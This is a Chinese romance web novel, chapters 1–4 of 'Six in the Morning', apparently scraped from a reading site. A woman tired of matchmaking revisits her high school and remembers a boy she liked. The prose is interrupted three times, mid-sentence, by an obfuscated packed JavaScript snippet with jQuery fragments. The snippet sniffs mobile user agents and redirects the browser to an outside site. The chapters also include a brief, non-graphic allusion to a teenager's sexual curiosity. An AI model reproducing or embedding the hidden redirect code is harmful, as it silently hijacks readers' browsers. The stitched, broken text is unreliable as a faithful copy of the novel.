《凌晨六点》
1. 001
施清如刚走进家门,脱下鞋子还没来得及收起,就听见拖鞋啪嗒啪嗒敲打木地板的声音不断逼近。过了两秒,施琴从主卧小跑了出来,满脸关切。
“怎么样?小李人还不错吧?”
施清如猫着腰在放鞋子,闻言眼睛朝上一翻,努力回想刚才请她吃午饭的男人。
“还可以,起码是个正常人。”
她绝不是在讽刺,而是在由衷地夸赞。
这是她第九个相亲对象,前八个都不正常。
一个还没见面就嫌她年纪大,一个离异带娃急招免费保姆,一个表示必须生到儿子才能封肚。
还有一位,施清如至今记忆犹新。他们当时刚从一家日式料理店走出来,晚风惬意地吹起她的发丝——以及男人的假发。那一瞬间,锃光瓦亮的头皮,让他看起来像一个不知所措的日本武士。施清如好心地告诉他假发如何佩戴才牢固,换来对方一句“神经病”。
在这些人的衬托下,今天见面的李煦就尤为突出。长得还行,个头不矮,工作有前景,车房都不缺,唯一的问题是——这人是个闷葫芦,三棍子打不出一个屁。
幸好,施清如挺喜欢闷葫芦的。
有时候施清如想,自己在媒人眼里到底是什么评级,为什么先前匹配的都是些神人?现在她悟了,媒人通晓人的心理,用的这招叫做矮个里拔高个,先污染她的眼睛,降低她的期待,再送一个还算过得去的选手来她面前,突显得像白马王子。
听到她能这样说,施琴发自内心感到高兴。
“那你就多和他见面,增进感情,争取明年结婚。”
施清如冲她笑笑,对正在厨房里刷锅的王文忠打了声招呼,“老爸,晚饭我想吃醋溜土豆丝。”
王文忠挡开她脏兮兮的爪子,“快去洗手。土豆丝还不简单嘛,晚上一定给你做。”
施清如心满意足,哼着小曲回到自己房间。
关上门,她打开网游运行程序,准备痛痛快快玩一个下午。昨天这款游戏刚更新了新版本,资源包有好几个G,她只能发呆等待下载。
她还在想刚才的相亲,只不过不是在想李煦。
中午吃饭的地方是在商场四楼的广式茶餐厅,之前施清如自己也去过几次,符合她不好伺候的口味。吃完要走的时候,她撞见老同学骆泽川正在店外排队,他带着女儿来的,小姑娘四岁,软嫩得像棉花糖。
恰好李煦要去卫生间,施清如就站在那和骆泽川聊了几句。
骆泽川笑着问施清如怎么还没有把自己嫁出去,施清如赏了他一脚。
他随口问:“你生日是不是在3月份?”
“对啊,刚过。”
“三十岁了,我该不该向你说生日快乐呢?听说女人三十岁之后就不想被提醒年龄。”
“骆泽川,你是不是找打?”
他侧身闪过施清如的拳头,“逗你的,生日快乐,你永远十八岁。说起来,二月份的同学会你怎么没来?”
“我去邮轮旅行了,不在国内。”
“都去哪儿了?”
“北欧5国9城。”
骆泽川感慨道:“还是你过得潇洒。我每天两眼一睁就是代码,难得休息也是陪女儿出来玩。”
施清如捏了捏小女孩的肉手,“这还不好?老婆孩子热炕头。”
“好,当然好,只是身体吃不消,赚的这几年钱全是给未来存的医药费。老蒋前段时间就因为工作太累,突发心梗送医院了,还好抢救及时,没让阎王爷给收走。”
施清如哎呦了一声,“老蒋做什么的?这么拼命。”
“和我一样,三十五岁就失业的一批人。”
“别那么丧嘛,船到桥头自然直。”施清如拿了颗餐厅提供的陈皮糖给小女孩,自然而然问起别人,“陈安平呢?现在在做什么?”
“他啊,不知道。自从几年前说去英国之后,就不联系了,估计在那里娶妻生子,有新的圈子,看不上老同学了。”
小女孩抓住施清如的食指,把她逗得咯咯笑,一边对骆泽川带着点酸味的话说:“他不是你死党吗?”
“高中死党,那都多少年了?你和他关系也不差,不照样不知道?”骆泽川皱皱眉头看了一眼自己排队的号码,心不在焉,“都毕业十几年了,还保持联系的也就两三个人,大家各忙各的,哪里有时间追忆往昔?”
就像他和施清如,除了逢年过节的群发祝福外,只是朋友圈偶尔点赞的关系。
李煦回来得很及时,中止了这场气氛急转直下的谈话。
游戏版本更新完毕,施清如却困了,打了个哈欠滚到飘窗上小憩。直到王文忠喊她起来吃晚饭,她这才发现窗外暮色已降临。咸鸭蛋似的太阳剩最后一抹余晖,从对面楼顶的天台穿过来。
餐桌上摆着施清如爱吃的菜,凡是她不爱吃的,几乎不进门。
施琴没着急上桌吃饭,乐呵呵地给媒人打去电话,想试探李煦那边的想法。
电话一接通,她就打开免提。
“汪大姐,今天我们家女儿和小李见过面了,她觉得小李人很不错……”
王文忠拍了一下她的手臂,用极轻的声音对她说:矜持点,哪有女孩子家主动示好的。
施清如事不关己般边吃饭边笑,她才不在意别人怎么看她。
施琴连忙补救:“她觉得还行。小李那边的人有没有联系你啊?”
汪大姐的声音中气十足,哎呦了一声,让人听出一丝为难的感觉。
“不瞒你说,小李联系我了,他说你们家女儿全身名牌,又没有稳定工作,他喜欢节约的。而且清如太漂亮了,他拿捏不住。”
闻言,施琴和王文忠齐齐愣住,这年头女方家里条件好,也成了罪过?
施清如则是笑出了声,一点不避讳汪大姐的存在,“让他滚吧。”
施琴拿起手机跑到阳台上,不知道说了什么,好一会儿才瞪着眼睛坐下吃饭。她不停地和施清如灌输些怎么才能尽快把自己嫁出去的方法,后者一句没听进去,吃完饭将碗筷放到水池里后,就回卧室打游戏。
春分已过,天气依旧阴冷,连着下了几日小雨,玻璃窗上的水痕始终存在。楼下两株白玉兰开得正盛,枝繁叶也茂,只是在这铅灰色的天气中,少了几分生气,树底下落了满地花瓣。
想到吃完饭时,李煦那礼貌、腼腆的模样,施清如就觉得有些好笑。他还说什么将来谁娶她谁有福
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314038|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气。
当面一套,背后一套。
施清如觉得这天底下的好男人都死绝了。
她自认为要求不高,能和她爸爸差不多,脾气好、顾家,有点出息就行。
三十岁之前追求她的男人里有这样的,不过那时她看不上。她还没玩够,不想被感情束缚了周游世界的手脚。
三十岁之后,周围人觉得她忽然就恨嫁了。施清如更正说,是想结婚,她不介意找一个入赘的男方,就像她爸爸一样。不过这年头但凡是有一点条件的男人,自尊心都翘到天上去了,哪里肯入赘。
深夜,王文忠切了一盘苹果拿进来,提醒她玩游戏要适度,别到太晚。施清如喊着知道了知道了,手指在键盘上疯狂敲击。
一直玩到凌晨五点,眼睛酸痛,她才停下。
这款游戏存在了很多年,久远到施清如记不清自己是什么时候开始玩的。她的网瘾不算重,心血来潮时才会玩一会儿,其他时候都丢给收钱帮做任务的人。过了二十五岁后,她也不像年轻时那样天天通宵,最迟不过一两点钟就会睡下。
今天是个例外。
也许她是被李煦气得睡不着,也许是下午睡得太多,又也许是意外碰见高中同学让她想起些青春。
施清如抽出书架上高中时的日记手帐本,翻了几页就合上,放了回去。那时候的文字太矫情,动不动觉得自己是青春疼痛文学里的女主角,把喜欢一个人的心思写得明明白白,不忍回看。
直到大学最后一年,施清如忙于实习,渐渐丧失了写手帐的习惯。不再每天用笔在纸上写年月日后,日子就像开了倍速,溜得飞快。一回神,她跨进了“三十”的大门。
三十岁很好。
成熟、稳重,不再情绪化。
可以对闲言碎语置之不理,也可以心安理得地啃老,反正,她已经过了脸皮薄的年纪。
翻手帐的时候,施清如还意外找到一本从前记录各个网站账号密码的小本子。封皮已经褪色卷边,正中央画着当年流行的阿狸,一只火红色的小狐狸。
里面有她三个企鹅号和微信的账号密码,虽然这些早已经更改过。还记录了游戏和青青网的信息。
青青网是那时最流行的社交媒体平台,能交流,还能玩种菜和经营餐厅的小游戏。
凌晨六点,施清如依旧无法入睡,她慢悠悠在电脑上输入青青网的地址。
网站竟然还没有关闭。
天蓝色的UI界面透着一股浓浓的古早画风。
多年过去,在世界快速的更新迭代中,青青网早已过时,被人遗忘。它像一面立在沙漠中央的古镜,淹没在无边无际的风沙中。
施清如登录账号,发现自己曾经关注的人太多了,甚至还被莫名其妙塞了一些僵尸号,找人如同大海捞针。
她想了想,在搜索界面缓缓输入一个名字:
陈安平Shawne
网站的速度卡得像是一位百岁老人,按下回车键后,网页陷入一片凝滞的空白。
许久之后,天蓝色再次出现,一点点自上而下画卷似展开。
下一个页面,她看见一个熟悉的头像。
蓝色条纹校服和他标志性的笑容。
2. 002
陈安平。
陈安平。
鼠标游魂一般自动移至陈安平的头像上。
嗒。
清脆的一声后,页面再度变成空白,施清如低下头打量自己的指甲,新长了一根肉刺,要不要撕掉呢?她在想。
余光里,网页上已经出现彩色的内容,她迟迟不抬头,视线虚焦在平齐的指甲边缘。
近乡情怯那般的心情。
过了会儿,施清如意识到自己变得像高中时一样矫情,手一转往桌上重重拍下,像只斗鸡抬起头。
花花绿绿的照片真多。
陈安平什么时候这么喜欢拍照了?
高中毕业以后,大多数人都放弃了青青网,转而奔向微博、微信和其他社交平台。但陈安平还坚持用了好多年。
有许多内容施清如还是第一次看见。
最近的一条是在六年前,之后他也弃用了青青网。当年施清如单方面删除了他的微信,这些年也没有去打听有关他的消息,再看见他的脸,有点恍惚。
照片里,陈安平戴着一顶藏青色的鸭舌帽,头发两侧剃得很短,露出浅浅的肉色皮肤。他穿着一件白色打底T恤,外头罩着件敞开的深灰色衬衣,站在一座砖红色的钟楼下,直视着镜头。
仰拍的死亡视角也没有令他的脸变形,棱角分明,他垂着眼睛,抿唇在笑。
那座钟楼不东不洋,有一种模仿欧式建筑却终成四不像的滑稽感。施清如再熟悉不过,那是成华中学实验楼边的钟塔,每到午休前下课铃声响起时,学生们就似鱼群追寻饵料,乱中有序黑压压一片从钟楼下穿过,涌去食堂。
施清如看了一眼这张照片的发布时间,是在六年前的教师节。
陈安平大约是去看望周旺和林琪思这对雌雄双煞的,毕竟他是那种标准好学生,深得老师喜欢。
施清如轻轻哼了声,带着点讥嘲。
他从前不爱自拍,青青网的头像还是施清如当年用自己偷藏的滑盖手机给他拍的,低像素让画面自然呈现出一层柔光的质感,仿佛在看一件老古董。
果然男人到了一定年纪就会自恋起来,即使是陈安平。对着以前天天看的钟楼都要自拍一张,有什么可拍的?
说不定陈安平现在也是一个油腔滑调的臭男人。
施清如弯了弯唇,刚关上电脑,施琴推门而入。
施琴望着灯火通明的房间愣了一秒,惊呼:“你没睡觉?你不要命了?你看看这都几点了。”
施清如睁眼说瞎话的本事见长,“我刚睡醒。”
房间里电脑的风扇声尤为动听,走过去还能感觉到一阵温热的风,施琴瞪了她一眼,也懒得和女儿争辩。
“赶紧睡觉,中午我再叫你起来,不睡觉要猝死的。”
施清如却干脆站起身,“不睡了,我要去一个地方。”
“去哪里?”
“成华,周大头和Kitty去年添了个女儿,我过去送点礼物和红包。”
施琴被她这想一出是一出的性格折腾得够呛,“去年生的?那你为什么要今天去?”
施清如的回答很有她的个性。
“想到了就要马上去做。”
-
周旺和林琪思对施清如的初印象不太一样。
他们都是在文理分班后才接触到这个女生。她是标准的理科脑,一开始偏科偏得不忍直视。
数学考121的时候,语文86分。
数学进步到132分的时候,语文变成了78分。
高中几年,身为语文老师兼班主任的周旺,大多时间对施清如都是恨铁不成钢的态度。她不是学不会,她是钻牛角尖。
做阅读理解非要洋洋洒洒写下自己特立独行的见解,作文跑题更是家常便饭。周旺总告诉她,考试就是考试,要的是标准答案,不是天马行空。等高考完,她想怎么写就怎么写,说不定能成为文豪。
但施清如不是一个听劝的性格。她同时还没有多少羞耻心,被拎起来批评时,她也能毫无所谓地反驳,伶牙俐齿。
她这么多年没有去看望过老师,倒也不稀奇,被宠坏的小孩哪里懂得那么多人情世故。起码她还舍得在逢年过节时群发一句祝福,周旺已甚感欣慰。
所以当施清如捧着一大束向日葵出现在办公室时,周旺以为自己没睡醒。
窗外的阳光透过窗照射在金灿灿的花瓣上,迸发出耀眼的生机。施清如咧着嘴在笑,身上还是透着和当年一样热烈的劲。
下课铃声正巧响起,走廊上充斥着奔跑与呵斥的声音。她跟着调子哼唱,走进来。
施清如的五官几乎没有变化,脸上的婴儿肥退去后多了几分凌厉和张扬,长发变成了干净利落的短发,微微卷曲,文艺又时尚。她没有化妆,涂了一层润唇膏就来了,眼睛下有片青黑的痕迹。
“头儿,听说你和Kitty又生了个女儿。”
周旺勉为其难接过向日葵,“女儿都八个月了。”
她这关心未免晚了太久,显得没多真诚。
施清如利索地掏出红包递给他,“祝贺你们。”
周旺连忙还给她,“你这是做什么?”
厚厚一沓,少说两千。
“红包。头儿,我已经不是你的学生了,算不上贿赂。”
周旺摆摆手,“拿回去,心意到了就行。”
“是给你女儿和Kitty的,又不是给你的,别客气嘛。”
她无赖的语气让周旺无可奈何,“你真是来看我们的?”
“对啊,”施清如倚着办公桌隔板的长虹玻璃,嗓音清雅,“别的同学都来看你们,我一直不来,说不过去。”
她的声音和形象很有反差,如果不抬头看她,会以为是一个恬静、沉稳的女生。
周旺推了推眼镜,笑着整理向日葵的花瓣,“你是听说谁来了?最近你们这一届的没人来啊。”
“陈安平。”
“陈安平?”
周旺一愣。
曾经被粉笔浸透了的手指停在花尖上,如今白板早已代替黑板,粉笔也成了记忆中的物件。
周旺出神地回忆了许久。
“陈安平是有来看过我们,但那是六七年前的事了。”
施清如从饮水机接了一杯冷水,细长的手指攥着柔软纸杯,捏出两个凹陷。
她看着窗外绿荫,漫不经心问:“他之后便没有来过?”
“没有。”
施清如说:“真没良心。”
周旺睇了她一眼,失笑。
她一个近十年没来过的人,其实不太有资格这样说陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314039|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安平。
周旺替陈安平开脱道:“那次他来的时候,和我们说马上要去英国工作定居了,没机会回国也情有可原。”
陈安平和施清如相反,他的语文成绩很好,满分作文还曾被周旺骄傲地拿给别班学生传阅。周旺偏袒他也是人之常情。
施清如没说话,喝完水把一次性纸杯捏成一团扔进垃圾桶。
恰逢此刻林琪思从班上回来,施清如扬起嘴角凑过去给了她一个熊抱。
“Kitty你又拖堂了。”
林琪思被她撞得差点没站稳,扶住墙看了她好一会儿,“清如?”
“就知道你不会忘了我的。”
林琪思放下教材,欣喜道:“你终于舍得来看我们了。”
“我的错,我早该来的。”施清如抱着她扭来扭去撒娇,身上没有一丁点三十岁该有的沉稳,“听说你去年生宝宝了,身体怎么样?恢复得还行吗?”
虽说周旺和林琪思不是什么老教师,但也早已迈入四十岁的大关,身体总是最紧要的。
“我体质不错,恢复得很好,你放心。”
“头儿,你可不准再让Kitty生了,要生你自己生去!”施清如指着周大头说。
周旺被这小祖宗又骂了一回,无奈摇摇头。
不年轻了,施清如都已经三十岁,不是当年那个眼睛长在头顶的小大人了。送走一代代学生,看他们长大,也提醒着老师们自己的衰老。
周旺问她:“你和陈安平没有联系吗?”
施清如站在办公室门边,声音淡淡,“没有。”
林琪思坐下来,喝了一口茶水。
“我记得你高中的时候和陈安平关系很好呀。”
周旺也记得,“你给陈安平讲数学、物理。他给你讲语文、英语和生物是不是?”
施清如抬眸,噗嗤一声笑了起来:“大头,你记性这么好?”
“因为那时候我怀疑你们俩早恋,观察得很仔细。”
施清如顿了一秒,凝视周旺的目光有一瞬间失去焦点,穿透了他的身体,落在背后不起眼的兰花草上。
半晌,她揶揄道:“你还是这么爱扒在后门偷看学生吗?”
“那怎么能叫偷看呢?那扇窗就是让我光明正大看的。”周旺停了一会儿,转移话题,“过去这么多年了,我能八卦一下吗?”
“什么?”
“你和陈安平当时是不是真的有什么?”
学生总以为自己的小动作隐藏得很好,偷偷吃零食、看小说、睡大觉,但都被站在讲台上的老师们尽收眼底,大多数时候只是不想点破。
青春期少男少女的情愫也是一样。
偶尔,老师们还会聚在一起聊些八卦。那些天真和蠢蠢欲动的感情,其实都暴露在阳光下。
嘈杂的走廊上,一个穿着蓝色条纹校服的学生出现在办公室门口,他驻足片刻,好奇的余光扫过伫立在门边出神的女人,之后动作利索地把收上来的作业交给林琪思,又离开。
“没有啊,我和陈安平没什么的,”施清如弯着眼睛,“他那时候看不上我。”
一夜未睡后,心脏在狂奔,身体在下坠。
教学楼旁的竹林被风吹得摇动,林叶发出簌簌的声响,从敞开的门往里飞,吹向她凌乱的短发。
3. 003
2011年秋
班长蒋澜催促着在看台上吃零食、做卷子的同学撰写加油稿,施清如枕在一件校服外套上睡觉。
蒋澜蹲到她面前,“施清如,等下你挑加油稿的时候,记得多挑些我们班的。”
“……”
回答他的只有一片死寂和耳边的风声。
蒋澜咬了咬牙,要不是因为施清如是广播站的,加油稿又涉及到运动会班级分,他身为班长不得不顾全大局,否则他才不会这样低声下气地和她说话。
“这是我们高中最后一届运动会,你能不能提点劲,有点集体荣誉感?等下马上就是男子100米预赛,有杨佳辰和陈安平,你——”
施清如睁开眼坐起身,满不在乎地当着蒋澜的面打了一个哈欠,“知道了。”
她一边说着,一边把马尾上的黑色皮筋松开,重新扎了一遍,右眼角下多了一道校服拉链压出来的粉红色烙印。
阳光越过红砖钟楼,普照在人工草坪与塑胶跑道上。施清如竖起短袖校服的蓝色衣领,提起自己刚睡过的那件长袖外套,往身上一罩,阔步向广播台走去。
九月底,秋老虎刚过去,气温陡然下降。运动会定在难得的艳阳天,但凉风依旧无休无止地刮着。
施清如汗毛竖起,抖了抖身体,把校服拉链拉到最上面,遮住嘴唇,细白的手指也缩进袖口里。外套上有一丝栀子花香,她嗅了嗅,埋得更深。
不多时,回荡在操场上的声音由低沉的男声,变为一个慵懒、清雅的女声。
陈安平从操场边的小径回到2班的看台区,蒋澜提醒他。
“马上就到男子100米预赛了,你快去准备。杨佳辰呢?”
陈安平仰头喝了一口矿泉水,“不知道,没碰到,”他转了一圈,“你看见我的外套了吗?刚才就放在这里。”
蒋澜指着广播台上的人说:“被施清如穿走了。”
陈安平抬起头。
看台中央拉着红色横幅,施清如坐在话筒后方,扎着清爽的高马尾,手缩在陈安平的校服里面,垂着眼帘慢条斯理挑选着加油稿。
蒋澜说:“要不要去问她要回来?”
“没事,”陈安平收回视线,摆了摆手,放下水瓶,“我去准备比赛。”
“好嘞,加油打破你去年的记录。”
陈安平笑笑,快步跑下看台。
比赛开始前,蒋澜收了一批2班的加油稿交给施清如,暗示她多选点自己班的,施清如没表示,快速翻阅一张张小纸条,都是给杨佳辰和陈安平加油的。
蒋澜离开后,施清如侧目向直线跑道的最尽头望去。
陈安平和杨佳辰在同一小组里,他站在4号跑道,穿着白色T恤和黑色及膝的运动中裤。他身边的人,个个穿得像专业运动员,短裤包着大腿,骚气得很。陈安平表情平淡,安静地站在那,看起来像一个炮灰。
不过——
施清如弯起唇角。
陈安平可是校记录保持者。
枪响之前,广播台上再次响起施清如的声音。
“金风送爽,凉露惊秋。胜利的号角已吹响。你是草原上恣意奔跑的猎豹,是战无不胜的雄狮……”
杨佳辰揉着被广播震了一下的耳朵,拍了拍陈安平的肩。
“加油!”
陈安平收回目光,“你也是。”
预赛的结果没有悬念,陈安平轻松第一。
上午的赛程结束,施清如捏着矿泉水瓶从广播台下来。看台上大部分人已经散去,有的跑去食堂,有的在小卖部挑选零食,有的回班级提前做国庆卷子,还有的回寝室休息。
陈安平还坐在看台上,T恤被风吹得一荡一荡。骆泽川饿极了,抛下他去小卖部买学校自制的奥尔良鸡翅。
施清如一口气喝掉半瓶水,打了一声嗝,走到陈安平面前,居高临下睨着他。
“在等我?”
她念了太久的稿子,嗓子有些轻微的沙哑。
陈安平抬头看她,轻笑着说:“没有。”
施清如切了一声,“那你怎么不去吃饭?”
“在等我的外套。”
施清如低头看了眼自己身上的校服,没动静,一点没有还给他的意思。
“去吃饭不?”
“嗯。”
“去几楼?三楼好不好?我今天想吃铁板饭。”
“好。”
三棍子打不出一个屁。
闷葫芦。
“你下午是不是还有一个400米预赛?”
“嗯。”
“嗯个屁啊,你能不能说三个字以上的句子?”施清如和陈安平并排走向食堂。
陈安平还是挂着淡淡的笑意,“沙坑跳远练得怎么样?”
“比去年远。”
去年施清如拿了第三,刚好够站上领奖台。
“加油。”
“三个字以上!”
“你加油。”
“……陈安平你故意的是不是?”
施清如用手肘撞了下他的胳膊,这么大个个子,竟就被她撞得没站稳,踉跄一步。施清如眼神好,瞥见他胳膊上竖起的汗毛。
恰好一阵秋风吹过,从领口灌进校服里,施清如打了个寒颤,一把抓住他的臂膀,带着他跑起来,一边催促他。
“快点,再晚三楼的铁板饭就要卖完了。”
施清如是个急性子,像呼啸的风,总是从陈安平眼前闪过,留下一抹靓丽的残影。
陈安平跑得快,但说话慢、走路慢,做什么事都慢,和施清如截然相反。
她也不知道自己为什么总喜欢和他待在一起。
夜晚躲在被窝里的时候,施清如摸出偷藏起来的MP4,撅着屁股跪在床上看下载好的言情小说。
女生之间最初流行台湾作家的甜文,后来流行虐文,男女主互相折磨,不死不休,流产、囚禁是家常便饭,两个人之间往往还隔着某种深仇大恨。
室友王雨灵心理成熟,在那个年纪对此类文的评价就只有三个字:神经病。
但施清如看得乐此不疲。
小说里总是一笔带过男女主的床事,寥寥几笔描写,却总带给她异样的感觉。
施清如侧躺下,头发丝摩擦棉被发出粗糙的沙沙声,在这封闭的空间里,她只能听见自己的呼吸。
高中并不是不谙世事的年纪,虽然性教育没有详细描述过这些事,但她从网络、小说各个角落里获得碎片信息,东拼西凑起来有了初步的概念。
真的很舒服吗?
她想。
秋夜的丝绵棉被里,施清如出了一身薄汗,咬着嘴唇觉得秋老虎又返归,燥热得很。窗外落着小雨,她听不见,大胆又小心翼翼地试探,不敢深入。
施清如觉得自己中暑了,身体无力地浸泡在汗水中。妈妈精心打理的睡衣飘着玫瑰香,弥漫在棉被下的空间里。
她想起了陈安平。
班里有些男生在夏末周日返校时会穿无袖衫,露出一部分肩膀,领口很深,露出锁骨和隐约的胸型,可是陈安平不会。他穿得最少的时候也是T恤,裤子永远是宽松的,不会超过膝盖之上五厘米。
他真保守。
陈安平跑步那么快,性子那么温吞。
他在那件事上会是快还是慢呢?是天赋异禀还是完全不行?他那么保守,也许要等到结婚之后才会做。
施清如轻轻叹了声,接着转念一想——
只要早点结婚就可以了,等到法定年龄,她就拉着他去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314040|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结婚。
二十岁,不对,男生要等到二十二岁。
要多等他两年。
叩叩。
施清如还沉浸在想象中,没有听到床板被敲击的声音。
叩叩——
直到宿管老师熟悉又中气十足的声音在寝室响起。
“施清如,你的被子在发光,交出来!”
她还在放空,被子忽然被掀开,秋夜的凉意一下浇灌在她滚烫的身上。
施清如讷然与宿管老师四目相对,数秒后MP4已不在她手里。
“这才开学多久就已经第二次了,你这学期别想要回去了,期末再来找我拿。”
第二天,施清如又被收走MP4的消息在班里传开,她不以为意。早自习的时候,她趴在陈安平同桌的位置上,恹恹地向他抱怨:
“又被收走了,期末才能拿回来。”
陈安平提前在写国庆的英语卷子,忍俊不禁,“小说这么好看?”
说是早自习,但因为正在运动会期间,老师并不会严管,只有像陈安平这样极度自律的学生才在写作业。
施清如盯着他半垂的眼睛,半晌才答:“超好看。”
“回家再看吧。”他淡淡安慰她。
她蠢蠢欲动,欲言又止,还是没忍住。
“陈安平,我问你个事啊。”
“嗯?”
“你打算几岁结婚?二十二岁一到法定年龄就结你觉得怎么样?”
陈安平的笔尖忽然顿住,在试卷洁白的纸上留下一个没有意义的墨点。
良久,他说:“没想过,都可以吧,只要有想结婚的对象。”
施清如猛拍自己的大腿,坐直了起来,巨响让陈安平朝她看过来,沉静的眼神从试卷移向她。
明亮、清澈的眼眸中流光璨然,额前的碎发粘在她的眼角,鱼尾似的延伸出去。
她对着陈安平的肩膀呼了一掌,扬着眉头说:
“英雄所见略同!有喜欢的人就应该马上结婚!”
施清如那时被欢喜冲昏了头脑,独独忘了问陈安平——
他以后想不想和她结婚。
-
“这么说,你当时喜欢他?只是落花有意,流水无情?”
周旺的提问刺中施清如,她的注意力从竹林拉回到办公室。
施清如本来不想承认自己当时单恋,但又觉得这扭扭捏捏不承认的作风不是自己。
“有点喜欢。”
林琪思一边批改着数学作业,一边轻轻笑着说:“喜欢陈安平的不止你一个。他成绩好、体育好,长得又高又好看,青春期小女生喜欢他其实很正常。”
施清如撇嘴,记忆里的陈安平又清晰了一分。
她说:“还行吧,一般般。”
周旺弯着腰在饮水机边接热水,“你要是联系上陈安平,就让他回来看看我们。我还挺好奇他现在什么样了。”
施清如漫不经心揉着自己的耳垂,年初打的耳洞还在发炎流脓,时不时发痒。
她没回答周旺的话,转而说:“不打扰你们,我还要和朋友去吃中午饭,先走了,下回再来看你们。恭喜生了个可爱小宝贝喔!”
林琪思捏了捏她伸过来的手心,满脸慈爱,“去吧去吧,谢谢你来看我们,有心了。”
分别总是拖沓的,施清如拉着林琪思的手又絮叨了两句,才缓缓穿过走廊,来到尽头的楼梯。
一阶一阶往下走,每次沉重的一坠都撞击着她的骨头。
施清如的性子已经不像从前那么急了,楼梯不是非得跑着走。没有铃声催促,她有很多的时间慢慢来。
高三时,她幻想自己会在二十二岁的时候结婚。
如今她三十岁了,却依旧孤身一人。
4. 004
上课铃声响起后的成华不再充斥学生们的打闹声。
施清如站在二楼的楼梯间,正对一扇巨大的窗户。
这扇窗映着四季的竹林,只有竹林。
风过留痕,满窗的翠绿摇动,金光波动,像置身于一片竹海。斑驳破碎的竹影在她脸庞上一晃一晃,直到眼睛酸涩再不能强撑,她才眨了眨眼离开。
穿过被风眷顾的竹林,路过被称为“情侣幽会胜地”的角落,施清如往小卖部的方向走去。
她还记得那时候流传过一个说法,说老师们喜欢在夜晚带着手电筒去竹林后边,往最黑黢黢的地方一照,就能抓到抱在一起的小情侣,百试不爽。
施清如觉得不像话。
谁会这么笨呢?换作是她,幽会肯定要去无人的实验楼,或者体育馆后面的死角。
小卖部货架上的零食都是最时兴的零嘴和速食。
施清如逛了一圈,最后只买了一串烤肠,加了点辣粉,走出门才咬下去第一口。嗞一声,油水爆到手背上,被她嫌弃地擦去。
味道和以前不同了。
现在的烤肠肥腻,全是肉,淀粉的含量在减少。她努力咽下去一口,被油水腻得反胃,转手把剩下的肠丢进了垃圾桶。
换以前,她会分一半给陈安平,让他帮着吃完,谁让他说不能浪费食物。
沿着小卖部往学校的人工湖走,沿着柳树绕半圈湖,就到操场。操场边种着许多桂花树,但季节不对,秋天的花不会盛开在春日,就像高中记忆里的人,不会在此刻出现。
操场的看台还是原来那样,不过刷了天蓝色的新漆,多了几分生机。
施清如走到100米赛跑的出发点上,抱着双臂眺望曾经属于高三2班的看台区域。
那里空无一人。
阳光照得她眼前出现几道虚影,仿佛在台阶上跳动。
这也许是通宵的后遗症。
烤肠的油腻从胃里反上来,她皱了皱眉头,继续往前走。
登上广播台,走到盖着丝绒红布的桌后,俯瞰操场,足球场真空旷。其实学生之中几乎没有人会踢足球,每到傍晚,人工草坪上就会长满坐在一起聊天、吃零食的学生,她有时也是其中一员。
施清如清了清嗓,颇为刻意地挤出播音腔。
“你是草原上肆意奔跑的捷豹,是战无不胜的雄狮……你是……”
念了一会儿,她吃力地停下。
没有话筒,她需得扯着嗓子才能在风中听清自己的声音。
没意思。
广播台边有一块板子,贴着校运动会各项纪录。
施清如哼着下课铃声的旋律走过去看,一目十行。
没有陈安平的名字。
他的100米、400米、1500米纪录都被破了。
啧啧。
现在的小孩都是吃什么长的?
施清如笑了,真想挫挫陈安平的锐气,告诉他“你也没多厉害”。
离开学校之后,她坐上了公交车。
当年的55路公交已经换了路线,不再经过成华中学门前,她只能退而求其次,坐了别班公交。
成华中学坐落在光河街,不远处就是一所大学。
学生多的地方,周围就会开出无尽的快餐店,到晚上夜市摊位一支,整条街充满烟火气。只不过这种烟火气不会蔓延到成华中学门口。
学校为了避免嘈杂的声音影响学生,勒令过不许将摊摆到校门前。高中生也只有周五离校或周日返校时,可以出校门用零花钱吃些垃圾食品。
施清如坐了短短的两站路,跳下车就是夜市最热闹的一片区域。
栾树东一株西一株地一直延伸到居民区里,到秋天这儿就会挂上一片红灯笼花,添尽喜色。只不过现在是春日,栾树羞答答地才冒出新芽。
还没到中午,这儿不热闹,只来了两三家小摊小贩,有店面的快餐店也没亮灯。老板们就坐在采光不好的店内玩手机、嗑瓜子,有的在门外边聊天边抽烟。
施清如掀起“老廖麻辣烫”结了油块的布帘子,老板抬眼,“吃饭啊美女?”
“嗯。”
老板从收银台后面站起身,伸了个懒腰疏松筋骨,笑盈盈说道:“随便挑,我们家虾肉丸子很鲜的。”
施清如点点头,自行从消毒柜里拿了塑料盆和菜夹,不紧不慢挑选要放进麻辣烫的食材。
